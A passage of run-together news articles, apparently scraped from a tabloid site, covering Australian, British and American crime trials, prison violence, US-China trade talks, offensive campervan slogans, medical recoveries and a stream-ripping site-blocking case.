The handbook does not say that prison staff are permitted to strike inmates when they feel threatened.

Calder was sentenced to a loss of privileges for 28 days and the investigation continues into his claim that the staff previously exonerated assaulted him.

The Prisoners' Advice Service (PAS) director wrote to the chief executive of the Prison and Probation Service Michael Spurr to highlight the unlawful nature of the governor's findings.

The letter asked Spurr to inquire urgently into whether other governors in Durham had misapplied the standard of proof required in adjudication.

Spurr replied that the ruling was unlawful and said that the the governor would undertake training and faced reviews of every adjudication over which she has presided.

Prisoners' Advice Service Lubia Begum-Rob said she is pleased the prison service has acknowledged its responsibilities. But she also worries that the finding could be the tip of the iceberg.

She pointed out that thousands of disciplinary hearings occur each week in British prisons.

'There is no provision for legal representatives to attend disciplinary hearings in front of prison governors,' she added. 'Legal aid for advising on them was cut in 2013, and the proceedings are not tape-recorded.'

She argues that because of this there is no way of knowing how widespread problems are.

A spokesperson for the Prison and Probation Service said it is reviewing the governor's adjudications and has reminded adjudicating staff how they are to perform their duties.The family of jailed drug lord Tony Mokbel are consoling each other as he recovers in hospital after being stabbed behind bars.

Mokbel was allegedly ambushed by a group of Pacific Islanders and stabbed in the upper body in the yard of Victoria's Barwon Prison on Monday afternoon.

His ex-wife Carmel DeLorenzo and daughter Susan were seen with a friend outside the family's home in Melbourne on Wednesday.

Tony Mokbel's ex-wife Carmel DeLorenzo and daughter Susan were seen outside the family's home in Melbourne on Wednesday (pictured: Susan in the leopard print gown and a friend)

Drug kingpin Mokbel (pictured in 2007) was allegedly ambushed by a group of Pacific Islanders and stabbed and stomped

Susan carried a bouquet of flowers and a cardboard box from well-wishers to help ease the stress of Mokbel's severe injuries.

Mother and daughter stood outside and chatted to a friend in a white jumper who had come to give them her best.

Susan last year spoke of growing up in the household of one of the nation's most wanted criminals, who was finally jailed for at least 22 years in 2012.

'I don't think it was different at all... define most childhoods growing up?' Ms Mokbel told Daily Mail Australia in June.

Mokbel and Ms DeLorenzo married when he was in his early 20s and the couple had two children - a son Sajih, and Susan.

A friend arrived to the home with a bouquet of flowers and cardboard box to help ease the stress of Mokbel's severe injuries (pictured: unknown friend and Susan right)

Susan last year spoke of growing up in the household of one of the nation's most wanted criminals, who was finally jailed for at least 22 years in 2012 (pictured: Susan's unknown friend)

After moving to Australia with his family in the mid-1970s, he established himself as a drug kingpin by the 1980s and was soon heading up 'The Company'.

He fled Australia in 2006 and sailed to Greece where he was joined by his girlfriend Danielle McGuire. He was eventually captured in 2007.

Ms McGuire's daughter Brittany said her stepfather was tough enough to survive the alleged jail yard stabbing.

'He is fine. He is a soldier... We just want him to get better,' she told the Herald Sun on Tuesday.

Mother and daughter stood outside and chatted to a friend dressed in all black who had come to give them her best (Pictured: Susan in the grey jumper, friend in the middle and Carmel on the right)

Mokbel's family gathered as remained in the Royal Melbourne Hospital in a critical condition after undergoing emergency surgery (pictured: friend on the left, Susan in the middle and Carmel on the right)

Mokbel was reportedly walking past a 21st birthday party when he was allegedly stabbed in a prison brawl.

He had earlier been offered to move into protection, after a report he was embroiled in a feud with Islanders, but refused.

One of the two men charged is believed to be the inmate whose birthday was being celebrated, The Herald Sun reported.

He and the other 21-year-old accused will appear in Geelong Magistrates Court for a filing hearing on Friday.

Mokbel was allegedly set upon by the group as he was returning to his cell after seeing a visitor.

Many of the 53-year-old's alleged attackers are said to have stood over and mocked him as he bled on the ground.

He was allegedly stabbed with crudely-made shivs - one of which was allegedly hidden inside a zucchini - and stomped in the head.

Mokbel remains in the Royal Melbourne Hospital in a stable condition after undergoing emergency surgery.

Mokbel was allegedly bashed and stabbed while walking past a 21st birthday party

Guards at Barwon Prison (pictured) reportedly offered Mokbel protection, which he declined

The 53-year-old gangland figure was allegedly set upon by two inmates on Monday afternoon at Victoria's Barwon Prison and airlifted to hospital (pictured)

The maximum-security prison, near Geelong, remained in lockdown following the alleged stabbing as new details about the incident emerge.

It's understood three inmates came to Mokbel's aid, where Steven Logan, 31, was also injured in the alleged attack.

Victoria Police said the injured man was released from Geelong Hospital on Tuesday morning and has since returned to Barwon Prison.

The two alleged attackers were charged with attempted murder, intentionally causing serious injury and causing serious injury intentionally in circumstances of gross violence.

Mokbel (pictured) underwent emergency surgery on Monday night following the alleged attack

Mokbel is seen in 2008 arriving at the Supreme Court in Athens, where he unsuccessfully fought his extradition to Australia

Seven News also claimed prison management knew Mokbel's life was potentially in danger, where staff were recently briefed on intelligence that an attack was likely.

A close friend of Mokbel's, who wished to remain anonymous, questioned the timing of the alleged attack.

'Tony's done several years in prison now, many years without any problems or issues and all the sudden within a few days of the Royal Commission starting, he gets attacked and viciously almost killed,' she told Seven News.

'So you've really got to wonder about the timing of this all.'

Corrections Commissioner Emma Cassar said good quality security camera footage of the alleged incident showed Mokbel walking towards a unit in the mainstream compound of the jail when he was allegedly attacked.

Brittany McGuire (pictured), 22, is the daughter of Mokbel's ex-partner Danielle

Brittany McGuire was seen on Tuesday at LA Hair & Salon in Port Melbourne as her stepfather fought for life in hospital

'He was approached by two prisoners who assaulted him, knocked him to the ground and you can see the footage very clearly, showing a number of stabbing actions,' she told 3AW on Tuesday.

'Another prisoner did come to Tony Mokbel's aid it seems, and he was also injured. In terms of the relationship between those two people, it's too early to tell.'

Dr Cassar said authorities separated the alleged attackers within moments and placed them in a high-security unit.

They will be interviewed by police and prison authorities, who will also investigate who else is involved.

Three homemade weapons were recovered nearby and have been handed to police.

Brittany Lee McGuire, 22, who is the daughter of Mokbel's ex-partner Danielle, said on Tuesday: 'He is fine. He is a soldier... We just want him to get better'

Corrections Commissioner Emma Cassar said good quality security camera footage of the incident showed the moment Mokbel (pictured in 2007) was attacked

'These sort of incidents are unacceptable and for me, it's a real worry this has occurred,' Dr Cassar said.

'We're doing everything we can. We'll certainly wait for the Victorian police investigation and then my team will investigate, and there'll be an external review into this.'

Dr Cassar said it is too early to tell if the alleged incident related to a 'powerplay' within the jail.

A police source said it was understood the alleged attack was in response to a front page report, which suggested Mokbel had 'lost none of his power' in jail.

Corrections Commissioner Emma Cassar (pictured) said authorities separated the alleged attackers within moments and placed them in a high-security unit

Mokbel was airlifted to Royal Melbourne Hospital and was originally considered to be in a serious but stable condition, but deteriorated

Before the stabbing, Mokbel was said to be getting under the skin of fellow inmates by talking about his plans to walk free from prison amid the Informer 3838 saga.

Informer 3838 was a high-profile Melbourne barrister who had for years been giving information to police while representing Mokbel and six of his associates, potentially bringing their convictions into question.

Dr Cassar was asked on Tuesday morning if Mokbel had been bragging about being released.

'He was very confident he'd get out of jail,' she said, adding that was 'probably' annoying other inmates.An agent with the US Drug Enforcement Administration was captured on body cam knocking a police officer over the head during his arrest for a DUI.

Palm Beach Sheriff's Office deputy Patrick Zeitz had been performing a field test on Brendan DArcangelo Tuesday when the agent became impatient over the process and thumped the officer over the head with his fist.

Infuriated, Zeitz approached DArcangelo closer and said: 'Don't do that... do you understand? You just reached out and you touched me... that's unacceptable.'

The agent apologized and repeatedly told the officer: 'You're right' before he was placed in handcuffs by Zeitz and another deputy.

An agent with the US Drug Enforcement Administration was captured on body cam knocking a police officer over the head during his DUI arrest

Palm Beach Sheriff's Office deputy Patrick Zeitz had been performing a field test on Brendan DArcangelo Tuesday when the agent

Here, the agent is seen hitting the officer over the head during a field test

Zeitz added: 'You're under arrest for DUI tonight... you're lucky I'm not charging you with something stupid like Batt-Leo.

'You, as somebody who does this profession, should know better.'

The DEA has not given word on whether the agent was suspended or terminated from his position under the administration.

He faces four counts of DUI with damage to property or a person.

The DEA has not given word on whether the agent was suspended or terminated

D'Arcangelo faces four counts of DUI with damage to property or a personA Queensland woman might have arranged for her two daughters to undergo female genital mutilation because she'd undergone a similar procedure as a girl, her trial has been told.

The Somali-born mother has been on trial in the Brisbane District Court where she has pleaded not guilty to taking her daughters, then aged nine and 12, to the African country in April 2015 for FGM.

In closing arguments on Wednesday, crown prosecutor Dejana Kovac said the accused mother had suffered a similar procedure as a young girl.

The Somali-born mother has been on trial in the Brisbane District Court (pictured) where she has pleaded not guilty to taking her daughters, then aged nine and 12, to the African country in April 2015 for FGM

In closing arguments on Wednesday, crown prosecutor Dejana Kovac said the accused mother had suffered a similar procedure as a young girl (stock picture)

She said it may explain why she allowed her daughters to undergo the same procedure.

Prosecutors allege the girls were unaware when they were taken to Somalia in April 2015 that they would be undergoing a procedure to remove parts of their genitalia.

They allege it was the entire reason for the trip, and that their mother was with them during the 'excruciating' procedure.

'She had them in her care for the entire time. She was there when they were mutilated not long after they arrived in Somalia,' Ms Kovac said.

'She extended the trip to give them time to heal before returning to Australia.'

Pediatrician Ryan Mills, who examined the girls, told the court the flattening of their clitoral hoods and discolouration of associated skin was "abnormal" and unlikely to be a "natural variation".

'(The abnormalities) could be explained or are consistent with, in medical terms, genital mutilation,' he told the court on Tuesday.

He said there was no therapeutic reason for the procedure, which would have been painful and may cause long-term health issues.

Defence barrister Patrick Wilson said key medical evidence could have been interpreted differently by doctors not familiar with the case (stock picture)

Defence barrister Patrick Wilson said key medical evidence could have been interpreted differently by doctors not familiar with the case.

'To put it bluntly, you can't be sure that this procedure happened,' Mr Wilson said.

'That is my primary case - that this did not happen. If happened at all, it could have happened years earlier maybe overseas, maybe in Australia, we don't know, because there is no evidence.'

He described the girls as unreliable witnesses and there was "uncertainty" surrounding the medical evidence given by Dr Mills.

'He was told by others that this was a case of female genital mutilation ... he accepts he was told what he was looking for. He accepts that the signs were subtle.'

The jury will retire on Wednesday afternoon to consider its verdict.Chinese President Xi Jinping plans to meet with top US officials in Beijing this week, a report said Wednesday, as the world's two biggest economies rush to patch up their trade differences before a looming deadline.

Xi will meet on Friday with officials including US Trade Representative Robert Lighthizer and Treasury Secretary Steven Mnuchin, who are in the capital for crunch talks towards a trade deal, the South China Morning Post reported.

'Xi is scheduled to meet both Lighthizer and Mnuchin on Friday,' it said, quoting a source briefed on the arrangements.

Chinese President Xi Jinping plans to meet with top US officials in Beijing this Friday, according to the South China Morning Post in a report on Wednesday

US Treasury Secretary Steven Mnuchin says the US team are 'looking forward to several important days of talks' in Beijing

In addition, a banquet would be hosted for the US delegation in 'a Chinese cuisine restaurant' in downtown Beijing later this week, with Chinese Vice-Premier Liu He expected to toast the US delegates, the report added.

The US officials and their Chinese counterparts meet for talks on Thursday and Friday.

They are under the gun to seal an accord ahead of the March 1 deadline set by Donald Trump, though the US president said Tuesday that he was open to extending that, depending on progress in Beijing.

'If we're close to a deal, where we think we can make a real deal ... I could see myself letting that slide for a little while,' Trump told reporters at the White House.

Mnuchin (left) landed in Beijing on Tuesday with US Trade Representative Robert Lighthizer

US President Donald Trump and Chinese President Xi Jinping attend a working dinner after the G20 leaders summit in Buenos Aires, Argentina on December 1

In December, Washington suspended for three months Trump's plan to increase tariffs on $200 billion worth of Chinese imports - to 25 percent from the current 10 percent - to allow time for negotiations.

Mnuchin told reporters in Beijing late on Tuesday he was eager to start.

'We're looking forward to several important days of talks,' he said in brief remarks.

He and other US officials left their hotel on Wednesday without making substantive remarks.

The Chinese delegation will be led by Vice Premier Liu He, China's point man on trade, and central bank governor Yi Gang.

The two sides said major progress was made in talks last month in Washington, but subsequent comments have been less optimistic, jarring financial markets and amplifying concerns about how the dispute will affect fragile world growth.

The leaders previously met at the Mar-a-Lago estate in West Palm Beach, Florida in April 2017

But global stocks rose after Trump's hint of a deadline extension.

Washington is demanding far-reaching changes to Chinese practices that it says are unfair, including theft of US technology and intellectual property, and myriad barriers that foreign companies face in the Chinese domestic market.

China has offered to boost its purchases of US imports but is widely expected to resist calls for major changes to its industrial policies such as slashing government subsidies.

The two countries have already slapped tariffs on more than $360 billion in two-way trade, which has weighed on their manufacturing sectors and shaken global financial markets.

The International Monetary Fund warned on Sunday of a possible global economic 'storm' as world growth forecasts dip, citing the US-China trade row as a key pivot point.Authorities are cracking down on explicit sexual slogans emblazoned on rental campervans after complaints from drivers.

The South Australian Labor opposition has urged the government to target car rental companies with offensive designs such as Wicked Campers' vans, and to deregister vehicles if they failed to act on rulings by the Advertising Standards Bureau (ASB).

A Wicked van registered in South Australia was reported after it had breached the advertising industry's code of ethics but nothing has been done to remove the vehicle from the road.

The van read: 'Masturbation is the only thing that isn't taxed, regulated or illegal'.

Authorities are cracking down on explicit slogans about sex on rental campervans after drivers were left disgusted

A Wicked van registered in South Australia was reported after it had breached the advertising industry's code of ethics

A change.org petition was set up in 2017 to remove the controversial messages on numerous vans.

'In every princess there is a little s*** who wants to try it just once' one van read.

'Life is like a bowl of soup, you only get blown if you're hot ' another van read.

The state's Labor spokesperson for the status of woman MP Katrine Hildyard called for the State Government to support a bill to ban the slogans last year.

'The slogans on the Wicked campervans promote and traverse violence against women, sexism, racism, paedophilia, and they are utterly unacceptable,' she said.

Another derogatory van read: 'Hurricanes are like women  when they come, they're wet & wild, and when they leave  they take your house & car!'

'A wife: an attachment you screw on the bed to get the housework done ...' another read.

Queensland, Tasmania and the Australian Capital Territory have allowed authorities to de-register vehicles if explicit slogans aren't removed within 14 days

Transport Minister Stephan Knoll argued the Wicked vans could not be completely deregistered unless there was a nationally coordinated approach

Queensland, Tasmania and the Australian Capital Territory have allowed authorities to deregister vehicles if explicit slogans aren't removed within 14 days.

Transport Minister Stephan Knoll argued a nationally coordinated approach was required, otherwise Wicked could simply register the vans in a state that did not have the laws.

A sighting of one of the vans angered Greens MP Mehreen Faruqi who initially called for a ban on the vehicles in February 2017.

But New South Wales Roads Minister Melissa Pavey said the ban would not be supported and instead constructed a voluntary agreement with Wicked Campers for the slogans not to appear.

A NSW woman complained after she spotted a Wicked van driving near a children's playground that read 'Am I still a virgin if I take it up the s******?'Senator Ted Cruz used the occasion of Joaquin El Chapo Guzmans conviction in federal court on Tuesday to once again call for using the drug kingpins seized assets to fund the construction of President Trumps promised wall along the Mexican border.

The Republican from Texas tweeted on Tuesday: Americas justice system prevailed today in convicting Joaquin Guzman Loera, aka El Chapo, on all 10 counts.

U.S. prosecutors are seeking $14 billion in drug profits & other assets from El Chapo which should go towards funding our wall.

Let's pass the EL CHAPO Act and make El Chapo pay to secure our border.

Senator Ted Cruz (seen above at a rally in El Paso, Texas on Monday) reintroduced his bill, the EL CHAPO Act, which calls for using the assets of convicted drug kingpin Joaquin 'El Chapo' Guzman to pay for a wall along the U.S.-Mexico border

El Chapo, 61, was convicted in a Brooklyn federal court on Tuesday of 10 counts, including drug trafficking and money laundering. He is seen right in a courtroom sketch

Cruz tweeted: Let's pass the EL CHAPO Act and make El Chapo pay to secure our border

Its time to pass my EL CHAPO Act. I urge my Senate colleagues to take swift action on this crucial legislation. #SecureTheBorder --> https://t.co/SndC56CiYz pic.twitter.com/5LgBuBSE26  Senator Ted Cruz (@SenTedCruz) February 12, 2019

Cruz first proposed the idea in April 2017, while El Chapo was awaiting trial in New York.

The bill's title, in addition to being the nickname of the infamous and recently extradited Joaquin Guzman, stands for Ensuring Lawful Collection of Hidden Assets to Provide Order.

He reintroduced the bill last month. It has been referred to the Senate Judiciary Committee.

By leveraging any criminally forfeited assets of El Chapo and other murderous drug lords, we can offset the cost of securing our border and make meaningful progress toward delivering on the promises made to the American people, Cruz said in a statement last month.

In 2017, Guzman was arrested and extradited to the United States to face charges related to running a massive drug trafficking operation that laundered billions of dollars and oversaw murders and kidnappings

Cruz's proposal calls for the U.S. government to seek $14billion from Guzman specifically, while also trying to get its hands on funds from other drug lords to cover the cost of building the wall and securing the border.

The $14billion is more than twice the amount - $5.7billion - that Trump wanted from Congress for wall funding.

Lawmakers tentatively agreed Monday night to a deal that would provide nearly $1.4 billion for 55 miles of border barriers, according to congressional aides.

The huge funding measure, which combines seven spending bills into one, would run through the fiscal year, which ends on September 30.

Details might not be released until Wednesday, but the pact came in time to alleviate any threat of a second partial government shutdown this weekend.

In 2017, Guzman was arrested and extradited to the United States to face charges related to running a massive drug trafficking operation that laundered billions of dollars and oversaw murders and kidnappings.

U.S. has not found one dollar of El Chapos estimated $14Billion Joaquin 'El Chapo' Guzman is shown after his extradition to the United States on January 19, 2017 - one day before President Trump was inaugurated Convicted drug lord Joaquin 'El Chapo' Guzman has continued to successfully conceal his assets, according to the Mexican government. Guzman is believed to have amassed large sums of money throughout years of leadership over the Sinaloa Cartel prior to his extradition to the United States in January 2017, but none of it has been tracked down. 'As of today, US authorities have not found not even one dollar of El Chapo's assets,' then-Mexican Attorney General Raul Cervantes said in an interview with Televisa in May 2017. It's estimated Guzman took in more than $14 billion while reigning over his drug cartel, based on his U.S. indictment. The federal charges seek the forfeiture of those drug proceeds and illicit profits allegedly derived from the Sinaloa cartel's activities. But first federal authorities have to trace and locate it, if it even actually exists in such a sum. At least one expert on Mexico's drug cartels told Forbes that the figure of $14 billion is 'too high' and does does not take into account operating and protection expenses that Guzman incurred over his 30-year criminal career. 'The drug business may earn Mexican drug lords up to $20 billion or so a year,' the University of Miami's Bruce M. Bagley said. 'El Chapo probably makes well below a billion per year.' Operating expenses may included things like bribes to public officials and profit sharing with the cartel, itself, Bagley said. 'Expenses are running high, his lieutenants are increasingly greedy and disloyal. His children now control his wealth and split it among themselves. Nonetheless, I have no doubt that he is still a billionaire as of 2016,' Bagley said. 'Guesstimate: $2-$4 billion at most.' Regardless, whether Guzman actually has $14billion at present time is more of a theoretical question. Most seem to agree that he has a fortune, but no one can seem to find it. 'His money hasn't been found because he didn't use the financial system,' Cervantes said. Mexico has only found minor assets belonging to Guzman, Cervantes said. Advertisement

President Trump has sought at least $5.7billion from Congress to construct a wall along the border with Mexico. The image above from March 2018 shows an older section of a border structure in Calexico, California

Jurors in a Brooklyn federal court convicted him on all 10 counts that are likely to put him behind bars for the rest of his life.

He is set to be sentenced on June 25.

The 61-year-old Guzman broke out of Mexican prisons twice before he was finally recaptured and extradited to the U.S. in 2017.

Federal prosecutors put on more than 50 witnesses over three months detailing how Guzmans Sinaloa cartel amassed billions of dollars importing tons of cocaine, heroin, meth and marijuana into the U.S.

Guzman stared at the jury straight-faced as the judge read the guilty verdict.

Guzman leaned back in his chair Tuesday to catch the eye of his wife, who gave him a subtle thumbs-up, when the jury was discharged from a federal courthouse in Brooklyn.

A defense lawyer says Guzmans conviction is devastating.

But Jeffrey Lichtman added he can proudly say the defense left it all on the battlefield.

U.S. District Judge Brian Cogan lauded the jurys meticulous attention to detail. Cogan says it made him very proud to be an American.

Lawmakers tentatively agreed Monday night to a deal that would provide nearly $1.4 billion for 55 miles of border barriers, according to congressional aides. From left: Senate Majority Leader Mitch McConnell, Majority Whip John Thune, and Senator Richard ShelbyA teenage girl diagnosed with a deadly brain cancer has made an incredible recovery just 24 hours after lifesaving surgery.

Amelia Hocking was diagnosed with a Rare Symptomatic Pineal Lesion located in the middle of her brain on September 2017.

The South Australian 15-year-old underwent surgery on December 3 last year and shocked doctors when she was seen walking around the hospital just a few hours after surgery.

Amelia Hocking was diagnosed with a Rare Symptomatic Pineal Lesion located in the middle of her brain on September 2017

Amelia was diagnosed with a 10mm by 11mm pineal cyst (pictured)

Amelia was discharged the very next day and within four days of her surgery was on a flight back to South Australia with her family.

'She's definitely a fighter. She's been a fighter since birth,' Anndrea Hocking, Amelia's mother, told Nine News.

The past two years have been an extremely difficult time for the teenager who struggled with nausea, dizziness, blurred vision and vomiting due to the 10mm by 11mm pineal cyst.

In a bid to find out what was happening with their daughter, Mrs Hocking took Amelia to several doctors who turned them away saying she was suffering from anxiety and depression.

Eventually, they came across renowned brain surgeon Dr Teo who would help remove the cyst.

Amelia was discharged the very next day and within four days of her surgery was on a flight back to South Australia with her family

They came across renowned brain surgeon Dr Teo who would help remove the cyst

Amelia is slowly regaining her strength and is going back to school every few days.

'I felt completely different. I just knew,' Amelia told the publication.

'I woke up from surgery and I didn't have a headache.'

The family has struggled to pay for Amelia's surgery and has created a GoFundMe page to help pay off the $100,000 surgery bill.

Upon reaching $50,000, Variety SA donated the remaining funds to ensure Amelia received the surgery.Two giant pandas living in an Australian Zoo face being deported back to China after they failed to conceive once again.

Adelaide Zoo's loan arrangement has kept partners Wang Wang and Fu Ni in Australia since 2009. They are currently the only giant pandas in the country.

Unfortunately, the pandas' inability to procreate means they are now set to be deported - unless the Federal Government intervenes.

Giant pandas Wang Wang and Fu Ni are set to be deported home to China

Senior veterinarians were hopeful that Fu Ni may have been pregnant, following the performance of two artificial inseminations in September.

Over the last fortnight, pregnancy hormones levels also declined, indicating that Fu Ni was either preparing to give birth or nearing the end of a pseudo pregnancy.

'During a pseudo pregnancy, hormonal changes and behaviours are identical to those of a true pregnancy, making it very difficult to determine if a Giant Panda is actually pregnant or not,' said Zoos SA Senior Panda Keeper Jaimee Foote.

It is believed that Fu Ni suffered a pseudo pregnancy rather than a real one

Ultimately however, based on the passing of the birthing time frame, the latter was deemed to have occurred.

The Australian Government funded Wang Wang and Fu Ni's stay at a cost of about US$1 million per year, with the pandas' enclosure costing $8 million to install.

While costly, chief executive Elaine Bensted of Zoos SA said she would be 'thrilled' for Adelaide Zoo to continue to be home to the pair of pandas.

'Ultimately, the decision rests with the Australian Government as they provide the funding that goes to giant panda conservation in China,' Ms Bensted said.

'We are confident that our purpose-built facilities and our experience in the last nine years give us the best chance to successfully breed giant pandas in the future.'

China currently owns all of the world's pandas, with less than 1,864 of the creatures remaining living in the wild.

.Mohammed Khazma (left), 25, denies murdering his ex-girlfriend's daughter

A man accused of murdering a toddler who was found covered in lighter burns and human bite marks has said he 'never laid a finger' on the girl.

Mohammed Khazma, 25, allegedly killed his ex-girlfriend's two-year-old daughter after burning her with a cigarette lighter and slamming her head into a wall in December 2016.

The toddler was found dead in the Sydney flat the couple had just moved into after meeting on Facebook.

On Wednesday Khazma insisted her mother was the one who pinched, punched, hit and whipped the child, at times making her unconscious, a court heard.

When questioned by his own barrister in the NSW Supreme Court on Wednesday, Khazma said he wanted to report the girl's abuse to police but he never did because he was 'always on edge'.

'I didn't want to get her (the mother) in trouble but at the same time, I didn't want her doing what she was doing to the kid,' he said.

'I thought that I could take it into my hands and try to sort it out myself.'

In court last Thursday, forensic pathologist Lorraine du Toit-Prinsloo testified there were about 28 human bite marks on the two-year-old's arms, legs and buttocks.

She said there were also burns in the shape of a cigarette lighter, inflicted before her death caused by 'blunt force trauma'.

A post-mortem showed the toddler suffered 'massive bleeding' in her skull, consistent with a traumatic injury, Dr Toit-Prinsloo said.

Khazma's barrister, Luke Brasch, has previously told the jury the victim's mother caused her injuries and death but blamed Khazma to cover up her guilt.

The trial continues before Justice Elizabeth Fullerton.

Pictured is the home where Khazma is accused of abusing the little girl in 2016Two men have been taken to hospital after they were attacked by a crazed goanna.

Paramedics were called to a home in Toogoolawah, south east Queensland, at about 9.46am on Wednesday after reports of a goanna attack.

One patient sustained deep lacerations and scratches to their leg and the other suffered scratches to their arm.

Two men have been taken to hospital after they were attacked by a crazed goanna (stock image)

The pair were transported to Esk Hospital in stable conditions, Queensland Ambulance wrote on Twitter.

The incident comes weeks after an eight-year-old girl was attacked by goanna at South Stradbroke Island, north of the Gold Coast, on Thursday 24 January.

The metre-long reptile latched onto the girl's foot during the attack at a beach side camp, resulting in a serious laceration and hospitalisation.

Queensland Ambulance's Jayney Shearman told reporters that the girl was 'quite distressed' following the attack.

'(It) was quite difficult to get the goanna off the child and it needed a couple of people to get involved,' she said.

Queensland Ambulance tweeted about the incident on Wednesday morning (pictured)

The pair were transported to Esk Hospital in stable conditions, Queensland Ambulance confirmed

'She was quite distressed any wildlife is notoriously unpredictable, so on this occasion, it was a nasty and savage attack.'

The goanna was eventually captured by reptile catcher Tony Harrison before it was released in bushland near inland Jimboomba.

Experts say goanna bites can be dangerous as the carnivores feed on carrion and toxic bacteria in their mouths which can cause pain, swelling and prolonged bleeding.A mother-of-four is desperately searching for a stranger who helped save her sick son's life so she can thank him in person.

Becky Fantasia, 31, was driving four-year-old Harlan home from hospital along the Mitchell Freeway in Perth about 7.30pm on Tuesday when he had a seizure.

She pulled into the emergency lane and carried him to the boot where the family kept a stash of medical equipment for emergencies.

Becky Fantasia, 31, is desperately searching for a stranger who helped save her sick son Harlan's life when he had a seizure by the side of the road

Ms Fantasia (pictured with Harlan and her husband Daniel) was driving four-year-old Harlan home from hospital along the Mitchell Freeway in Perth when he had the seizure

Ms Fantasia tried to resuscitate her son but struggled to see what she was doing as attempted to clear his airway by the side of the road.

'I quickly realised i was running out of light fast and Harlan wasn't breathing, and choking on vomit mid-seizure,' she told Daily Mail Australia.

'I just kept thinking please, please someone stop so I can help my boy.'

After what seemed like forever trying to flag down passing motorists, a car with a trailer stopped and a tall, middle aged man got out.

He used the light from his phone to illuminate Harlan's throat and Ms Fantasia was able to save her son's life.

The pair then repeated the process when the boy's heart stopped during a second seizure.

Ms Fantasia tried to resuscitate her son but struggled to see what she was doing as attempted to clear his airway by the side of the road

Ms Fantasia said Harlan, who suffers from epilepsy and other complex medical conditions, had his first seizure when he was just six weeks old

'He didn't once shy away from a scene that to most people would be traumatic and too much to bear,' Ms Fantasia said.

'He stayed calm and remained completely focused, even helping keep Harlan rolled in recovery in the boot while I dislodged vomit preventing him from breathing.

'If he hadn't stopped and given me that light my son could have died.'

The Good Samaritan quietly returned to his car when an ambulance arrived before Ms Fantasia had the chance to thank him.

'A small gesture of making sure we were ok - which we weren't - has meant that I still have a baby to cuddle this morning,' she said.

'Would love to be able to thank him personally and my husband wants to buy him a beer.'

Without a cocktail of drugs the little boy has multiple seizures every day and is frequently in hospital

The Good Samaritan quietly returned to his car when an ambulance arrived before Ms Fantasia had the chance to thank him for helping save Harlan (pictured)

Ms Fantasia said Harlan, who suffers from epilepsy and other complex medical conditions, had his first seizure when he was just six weeks old.

Without a cocktail of drugs the little boy has multiple seizures every day and is frequently in hospital.

His condition makes it difficult for Ms Fantasia and her husband to look after all their children, of which Harlan is the youngest.

A week ago they put out a call on social media looking to 'adopt a grandma' to help babysit their older children while they are in hospital with Harlan.

'His condition puts a lot of strain on the family as we have no extended family close by and we have exhausted all options for help with care,' she said.A mother-of-two who sustained injuries after lighting a stick of dynamite she believed was a candle is suing the former owner of her home for damages.

Karina Gutierrez, who is around 30, who lives in Connecticut, was looking for a candle in the basement of her home when thunderstorms caused a power outage in her area on September 6, 2018.

However instead she grabbed a stick of dynamite which was 'candle-shaped' and it exploded near her face when she lit it.

According to a lawsuit obtained by Connecticut Post, Gutierrez sustained serious injuries to her face, eyes and hands as result of the incident.

Karina Gutierrez was searching for a candle during a power outage at her home on Lindley Street, Bridgeport (pictured) on September 6

She was treated first at Bridgeport Hospital and later transferred to Yale-New Haven Hospital.

Gutierrez and her husband, Abidias Martinez, are suing the former owner of their Lindley Street home, Oscar Aguirre, in Connecticut Superior Court.

The 30-year-old lived at the property with her husband and two children.

According to the lawsuit, Gutierrez lost a part of her left hand and sustained injury to her right eye.

She was also left with permanent scarring of her face, chest and arms as the result of the explosion.

She will have to undergo continued medical treatment and will incur significant medical expenses.

Gutierrezs lawyer, Paul Ganim said: 'This is a terrible tragedy to happen to this family.

'We are thankful, although the mother was tragically injured, that the young children were not physically injured. I am committed to pursuing all legal actions to adequately compensate this family for their horrible loss.'

Local police together with the state police bomb squad evacuated the family and cordoned off the home as they investigated the explosion when the incident occurred.

Firefighters gathered outside the Connecticut home of a woman who mistook a stick of dynamite for a candle during a power outage

One of her children called 911 and she was taken to the hospital. Her two children and husband were home but no one else was injured. Pictured: Police near her home

Assistant Bridgeport Fire Chief Michael Caldaroni said at the the time that the woman was looking to light a candle in her home at about 9.30pm Thursday after the power went out during a storm.

One of her children called 911 and she was taken to the hospital. Her children and husband were home but no one else was injured.

As a precaution, firefighters evacuated people in the homes on either side of Gutierrez' residence when the state police bomb squad were called.

'Something that we can get out of this is that people should be prepared when we have power outages, they should have flashlights, glow sticks, things like that to really make sure they can handle being without power for several hours,' said Bridgeport Fire Chief Richard Thode at the time of the incident.

Authorities say no charges will be pressed because the family says they had no knowledge the illegal explosives were in their home.

When the power went out the woman, Gutierrez first went to a store in hopes of purchasing emergency lighting but it was closed.Websites dedicated to 'ripping' songs from YouTube to be played from phones and computers could soon be blocked in Australia as industry insiders head to the court.

Crafty music-lovers have long been breaching copyright laws by using websites to download songs from YouTube that convert files to MP3  allowing them to listen to the music at any time free of charge.

However, a crackdown is coming to Australian listeners and may see the sites banned for good.

Crafty music-lovers have long been breaching copyright laws by using websites to download songs from YouTube that convert files to MP3  allowing them to listen to the music at any time free of charge (stock image)

However, a crackdown is coming to Australian listeners and may see the sites banned for good

Music Rights Australia general manager Vanessa Hutley told news.com.au is part of the industry group coordinating the action, which is currently before the federal court.

The case is targeting three offshore sites; convert2mp3.new, 2conv.com and flvto.biz.

Ms Hutley said that while there were a lot of 'stream-ripping' sites, the group was focusing on the more serious ones.

'These cases, they're not cheap to bring. What we're trying to do is use these cases to create the maximum impact to benefit local musicians and creators.

'The nature of these sites, because you don't know where they are you can't file cases all around the world, so the legislation was created to address the worst of the worst types of illegal sites.'

The music industry took a massive hit when file-sharing site became mainstream. However, the industry has seen a massive turn around in recent year's thanks in large part to paid streaming services such as Spotify and Apple Music (Ariana Grande pictured)

Site blocking laws, which were introduced in Australia in 2015, give local rights holders the power to take legal action against sites that facilitate infringement copyright.

The music industry took a massive hit when file-sharing site became mainstream.

However, the industry has seen a massive turn around in recent year's thanks in large part to paid streaming services such as Spotify and Apple Music.

The case will be heard in the Federal Court on April 3.A financial expert has offered some words of wisdom to workers hoping to pocket a pay rise - but has warned if the salary isn't increased employees should search for a new role.

Cathy Hendry, a senior consultant at Strategic Pay, a consultant firm based in Auckland in New Zealand, has advised staff to be proactive when it comes to asking for a salary increase.

If you're stuck in a rut in your current role and in need of some more money, Ms Hendry said people should 'grit their teeth and do it'.

(File picture) Cathy Hendry advised staff to be proactive when it comes to asking for a pay rise

However, when speaking to Frances Cook on the Cooking the Books podcast, they both agreed that after numerous failed attempts at securing more money, workers should give up and 'walk away'.

